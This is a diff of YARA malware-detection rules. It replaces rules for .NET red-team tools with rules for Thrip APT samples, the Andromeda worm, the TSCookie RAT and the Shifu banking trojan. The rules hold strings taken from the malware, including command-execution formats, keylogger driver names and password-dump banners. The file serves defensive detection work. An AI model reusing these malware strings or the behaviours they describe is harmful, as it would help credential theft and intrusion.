 	strings:
-		$typelibguid0lo = "0c117ee5-2a21-dead-beef-8cc7f0caaa86" ascii wide
-		$typelibguid0up = "0C117EE5-2A21-DEAD-BEEF-8CC7F0CAAA86" ascii wide
+		$s1 = "pGlobal->nOSType==64--%s\\cmd.exe %s" fullword ascii
+		$s2 = "httpcom.log" fullword ascii
+		$s3 = "\\CryptBase.dll" ascii
+		$s4 = "gupdate.exe" fullword ascii
+		$s5 = "wusa.exe" fullword ascii
+		$s6 = " %s %s /quiet /extract:%s\\%s\\" ascii
+		$s7 = "%s%s.dll.cab" fullword ascii
+		$s8 = "/c %s\\%s\\%s%s %s" fullword ascii
+		$s9 = "ReleaseEvildll" fullword ascii
+		$s0 = "%s\\%s\\%s%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and 6 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwmi_2 : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_13 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e6ab2f5e-2a5a-5be9-9b66-96cb745fd199"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		old_rule_name = "HKTL_NET_GUID_SharpWMI"
-		reference = "https://github.com/GhostPack/SharpWMI"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3404-L3419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2541e7eeb07ee9d018067c35765c9ad68c9c8ecf0baa723e410dde8c55dabbd0"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "e6aec6f3-2024-5fb2-b37a-77a182684d32"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L236-L254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c319a3ca78687cd2af77d97b4b4a8e72dadd812bf3da2145a23df278c3aa9a2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "780620521c92aab3d592b3dc149cbf58751ea285cfdaa50510002b441796b312"
 
 	strings:
-		$typelibguid0lo = "6dd22880-dac5-4b4d-9c91-8c35cc7b8180" ascii wide
-		$typelibguid0up = "6DD22880-DAC5-4B4D-9C91-8C35CC7B8180" ascii wide
+		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
+		$s2 = "<member><name>password</name>" fullword ascii
+		$s3 = "<value><string>qqtorspy</string></value>" fullword ascii
+		$s4 = "SOFTWARE\\QKitTORSPY" fullword wide
+		$s5 = "ipecho.net" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="3dfad33b2fb66c083c99dc10341908b7" or 4 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ewstoolkit : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_14 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "acde7744-d17f-5e47-a5e2-ff4f4c4d8093"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/EWSToolkit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3421-L3435"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc7f82779efec8a5e2a6a861a8e7a50e71e0b1e8891618f56bd12e0ce09eefc3"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "736e2700-cdcb-5165-b786-67edaef765b6"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L256-L276"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c96a40495bc2a17a6215c877ad054bd2e1e10c524c2d54da1955d370b9ccdcd7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "67dd44a8fbf6de94c4589cf08aa5757b785b26e49e29488e9748189e13d90fb3"
 
 	strings:
-		$typelibguid0lo = "ca536d67-53c9-43b5-8bc8-9a05fdc567ed" ascii wide
-		$typelibguid0up = "CA536D67-53C9-43B5-8BC8-9A05FDC567ED" ascii wide
+		$s1 = "%SystemRoot%\\System32\\svchost.exe -k " fullword ascii
+		$s2 = "spdirs.dll" fullword ascii
+		$s3 = "Provides storm installation services such as Publish, and Remove." fullword ascii
+		$s4 = "RegSetValueEx(Svchost\\netsvcs)" fullword ascii
+		$s5 = "Load %s Error" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and ((pe.exports("InstallA") and pe.exports("InstallB") and pe.exports("InstallC")) or all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sweetpotato : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_15 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0e347d94-51eb-5589-93d8-b19fec7f2365"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/CCob/SweetPotato"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3437-L3453"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a514be8ef3b51a3cad22a470afd9a4911c7156bfbf14f0a33522b429041e5bb"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd8aa404-4c12-5c8f-a952-a143da858b9b"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L278-L299"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22769d215e52965f48eb3455b39fbd8f8ce950a67f8132612d42b78fde9822a5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "231c569f11460a12b171f131c40a6f25d8416954b35c28ae184aba8a649d9786"
 
 	strings:
-		$typelibguid0lo = "6aeb5004-6093-4c23-aeae-911d64cacc58" ascii wide
-		$typelibguid0up = "6AEB5004-6093-4C23-AEAE-911D64CACC58" ascii wide
-		$typelibguid1lo = "1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e" ascii wide
-		$typelibguid1up = "1BF9C10F-6F89-4520-9D2E-AAF17D17BA5E" ascii wide
+		$s1 = "%s\\cmd.exe /c %s" fullword ascii
+		$s2 = "CryptBase.dll" fullword ascii
+		$s3 = "gupdate.exe" fullword ascii
+		$s4 = "wusa.exe" fullword ascii
+		$s5 = " %s %s /quiet /extract:%s\\%s\\" ascii
+		$s6 = "%s%s.dll.cab" fullword ascii
+		$s7 = "%s\\%s\\%s%s %s" fullword ascii
+		$s8 = "%s\\%s\\%s%s" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="f6ec70a295000ab0a753aa708e9439b4" or 6 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Memscan : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_16 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "35175fe1-a583-50d1-8b0c-71f19b898817"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/nccgroup/memscan"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3455-L3469"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "099c6dfc9f30e56eca9834431eb527194e0302c9c6ef88f3c4fc91837a7aad7a"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "58be9a1b-2228-5d7a-97c9-198cacbe1a66"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L301-L317"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "950ece29e8fd056e3506684bce9b16eb185d63c1b020e4911972f5fcbdadbe30"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2b1c1c6d82837dbbccd171a0413c1d761b1f7c3668a21c63ca06143e731f030e"
 
 	strings:
-		$typelibguid0lo = "79462f87-8418-4834-9356-8c11e44ce189" ascii wide
-		$typelibguid0up = "79462F87-8418-4834-9356-8C11E44CE189" ascii wide
+		$s1 = "[%d] Failed, %08X" fullword ascii
+		$s2 = "woqunimalegebi" fullword ascii
+		$s3 = "[%d] Offset can not fetched." fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and ( all of them or pe.imphash()=="c6a4c95d868a3327a62c9c45f5e15bbf")
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstay : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_17 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e5bde5a9-8e09-59ce-ad01-e29836813cf8"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xthirteen/SharpStay"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3471-L3485"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3750df9725c739fad99d2ce5d3fab0c84112c1efb2e4e5a1348501174c4ce494"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "e314a893-1ef5-5d5f-b056-af25765c0b70"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L319-L343"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0724e07614e704d9ac8a1ae4aecfcf3d9800dde6f83eeecc8427ab6205e321a6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "05036de73c695f59adf818d3c669c48ce8626139d463b8a7e869d8155e5c0d85"
+		hash2 = "08d8c610e1ec4a02364cb53ba44e3ca5d46e8a177a0ecd50a1ef7b5db252701d"
+		hash3 = "14535607d9a7853f13e8bf63b629e3a19246ed9db6b4d2de2ca85ec7a7bee140"
 
 	strings:
-		$typelibguid0lo = "2963c954-7b1e-47f5-b4fa-2fc1f0d56aea" ascii wide
-		$typelibguid0up = "2963C954-7B1E-47F5-B4FA-2FC1F0D56AEA" ascii wide
+		$x1 = "c:\\users\\administrator\\desktop\\code\\skeyman2\\" ascii
+		$x2 = "\\SkeyMan2.pdb" ascii
+		$x3 = "\\\\.\\Pnpkb" fullword ascii
+		$s1 = "\\DosDevices\\Pnpkb" wide
+		$s2 = "\\DosDevices\\PnpKb" wide
+		$s3 = "\\Driver\\kbdhid" wide
+		$s4 = "\\Device\\PnpKb" wide
+		$s5 = "Microsoft  Windows Operating System" fullword wide
+		$s6 = "hDevice == INVALID_HANDLE_VALUE" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) and 1 of ($s*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplocker : FILE
+rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_18 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9525422a-d670-5475-abdc-b7ecd1ab9943"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/Pickfordmatt/SharpLocker"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3487-L3501"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47cffdd5ffdf11c8afb16c031c6f44b0857ed369b2913a8c43b11bdb9d446171"
+		description = "Detects sample found in Thrip report by Symantec "
+		author = "Florian Roth (Nextron Systems)"
+		id = "20642526-5a4d-5dca-a6f5-29f19a9b5271"
+		date = "2018-06-21"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_thrip.yar#L345-L367"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5cac313bd77900e67f0528d660671394915dff7159ca6fa067fd9c392d7c269a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "33029f5364209e05481cfb2a4172c6dc157b0070f51c05dd34485b8e8da6e820"
+		hash2 = "263c01a3b822722dc288a5ac138d953630d8c548a0bee080ae3979b7d364cecb"
+		hash3 = "52d190a8d20b4845551b8765cbd12cfbe04cf23e6812e238e5a5023c34ee9b37"
+		hash4 = "1f019e3c30a02b7b65f7984903af11d561d02b2666cc16463c274a2a0e62145d"
+		hash5 = "43904ea071d4dce62a21c69b8d6efb47bcb24c467c6f6b3a6a6ed6cd2158bfe5"
+		hash6 = "00d9da2b665070d674acdbb7c8f25a01086b7ca39d482d55f08717f7383ee26a"
 
 	strings:
-		$typelibguid0lo = "a6f8500f-68bc-4efc-962a-6c6e68d893af" ascii wide
-		$typelibguid0up = "A6F8500F-68BC-4EFC-962A-6C6E68D893AF" ascii wide
+		$s1 = "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key" fullword ascii
+		$s2 = "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard" fullword ascii
+		$s3 = "LoadLibraryA() failed in KbdGetProcAddressByName()" fullword ascii
+		$s5 = "Unknown Virtual-Key Code" fullword ascii
+		$s6 = "Computer Sleep key" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sauroneye : FILE
+rule SIGNATURE_BASE_Andromeda_Malbot_Jun_1A : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3b624dde-a63e-58ac-a4db-af931f1d8553"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/vivami/SauronEye"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3503-L3519"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4f73dabd483ad1c45e6225ef8ef664f6db1ec75a6aa300a0a6efaa63e64b2c3a"
+		description = "Detects a malicious Worm Andromeda / RETADUP"
+		author = "Florian Roth (Nextron Systems)"
+		id = "42ee6ba3-85ea-5369-bd9b-8ffdec6e17bc"
+		date = "2017-06-30"
+		modified = "2022-12-21"
+		reference = "http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_andromeda_jun17.yar#L12-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5958608ad5527628c4b6cbe08badbff39a50dcdb6cf603f6fbb5fa32ef61c0c7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9"
+		hash2 = "73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98"
+		hash3 = "66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4"
+		hash4 = "42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed"
 
 	strings:
-		$typelibguid0lo = "0f43043d-8957-4ade-a0f4-25c1122e8118" ascii wide
-		$typelibguid0up = "0F43043D-8957-4ADE-A0F4-25C1122E8118" ascii wide
-		$typelibguid1lo = "086bf0ca-f1e4-4e8f-9040-a8c37a49fa26" ascii wide
-		$typelibguid1up = "086BF0CA-F1E4-4E8F-9040-A8C37A49FA26" ascii wide
+		$x1 = "%temp%\\FolderN\\name.exe" fullword wide
+		$x2 = "%temp%\\FolderN\\name.exe.lnk" fullword wide
+		$x3 = "\\Startup\\name.exe" wide
+		$x4 = "firefox.exe.exe" fullword wide
+		$x5 = "\\Desktop\\New folder\\dark.exe" wide
+		$x6 = "\\x86\\Release\\word.pdb" ascii
+		$x7 = "\\obj\\Release\\botkill.pdb" ascii
+		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+		$s2 = "svhost.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sitrep : FILE
+rule SIGNATURE_BASE_Tscookie_RAT : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5f2ac63e-4be1-520c-82b1-1957027a63e2"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/sitrep"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3521-L3535"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7fa4e8bd94d86218c22c1be99221b25406e7fbae54cfadb53f81720d167e8ce"
+		description = "Detects TSCookie RAT"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a2b6c598-4498-5c0a-9257-b0bf6cd28de9"
+		date = "2018-03-06"
+		modified = "2023-12-05"
+		reference = "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_tscookie_rat.yar#L13-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c6121c541a77219b17351787973a4bc06a8d941ebd5f9e5e1e14ad4740a3fe7b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2bd13d63797864a70b775bd1994016f5052dc8fd1fd83ce1c13234b5d304330d"
 
 	strings:
-		$typelibguid0lo = "12963497-988f-46c0-9212-28b4b2b1831b" ascii wide
-		$typelibguid0up = "12963497-988F-46C0-9212-28B4B2B1831B" ascii wide
+		$x1 = "[-] DecryptPassword_Outlook failed(err=%d)" fullword ascii
+		$x2 = "----------------------- Firefox Passwords ------------------" fullword ascii
+		$x3 = "--------------- Outlook Passwords ------------------" fullword ascii
+		$x4 = "----------------------- IE Passwords ------------------" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1000KB and ((pe.exports("DoWork") and pe.exports("PrintF")) or 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpclipboard : FILE
+rule SIGNATURE_BASE_Shifu_Banking_Trojan : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "fd1b7786-8853-5858-ab03-da350e44f738"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/slyd0g/SharpClipboard"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3537-L3551"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f935b91fcbf982af9e67f90fe1ce9086217066dd2127dea17c92db5c185b91b9"
+		description = "Detects Shifu Banking Trojan"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e86a98b1-a5c3-57b6-9449-dc36c04cebf3"
+		date = "2015-09-01"
+		modified = "2023-12-05"
+		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_shifu_trojan.yar#L8-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f65fa80638e6a8bf8c5afb3dbe1262572ca0a7c56507369934ac3d958f3e6267"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
+		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
 
 	strings:
-		$typelibguid0lo = "97484211-4726-4129-86aa-ae01d17690be" ascii wide
-		$typelibguid0up = "97484211-4726-4129-86AA-AE01D17690BE" ascii wide
+		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
+		$s1 = "listen above" fullword wide
+		$s2 = "familycould cost" fullword wide
+		$s3 = "SetSystemTimeAdjustment" fullword ascii
+		$s4 = "PeekNamedPipe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <1000KB and ($x1 or all of ($s*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcookiemonster : FILE
+rule SIGNATURE_BASE_SHIFU_Banking_Trojan : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "87be6949-f4f5-5a5a-b804-c627ed0f4355"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/m0rv4i/SharpCookieMonster"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3553-L3567"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4003459096d8bfdcb4c4761d32bdccfa273c3950f90c7605d555713cd215709"
-		score = 75
+		description = "Detects SHIFU Banking Trojan"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b0d57a2b-31cc-5af0-84c3-5d178e2d244d"
+		date = "2015-10-31"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/52n8WE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_shifu_trojan.yar#L29-L63"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "01f5217ee4e81b0b2ff37ccc7eed353ace26aa68538cce5bc207c0c071f0850a"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
+		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
+		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
+		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
+		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
+		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
+		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
+		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
+		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
+		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
+		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
+		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
+		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
+		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
 
 	strings:
-		$typelibguid0lo = "566c5556-1204-4db9-9dc8-a24091baaa8e" ascii wide
-		$typelibguid0up = "566C5556-1204-4DB9-9DC8-A24091BAAA8E" ascii wide
+		$x1 = "\\Gather\\Dividerail.pdb" ascii
+		$s0 = "\\payload\\payload.x86.pdb" ascii
+		$s1 = "USER_PRIV_GUEST" fullword wide
+		$s2 = "USER_PRIV_ADMIN" fullword wide
+		$s3 = "USER_PRIV_USER" fullword wide
+		$s4 = "PPSWVPP" fullword ascii
+		$s5 = "WinSCard.dll" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and ($x1 or 5 of ($s*))
 }
-import "pe"
+rule SIGNATURE_BASE_VULN_LNX_OMI_RCE_CVE_2021_386471_Sep21 : CVE_2021_38647 FILE
+{
+	meta:
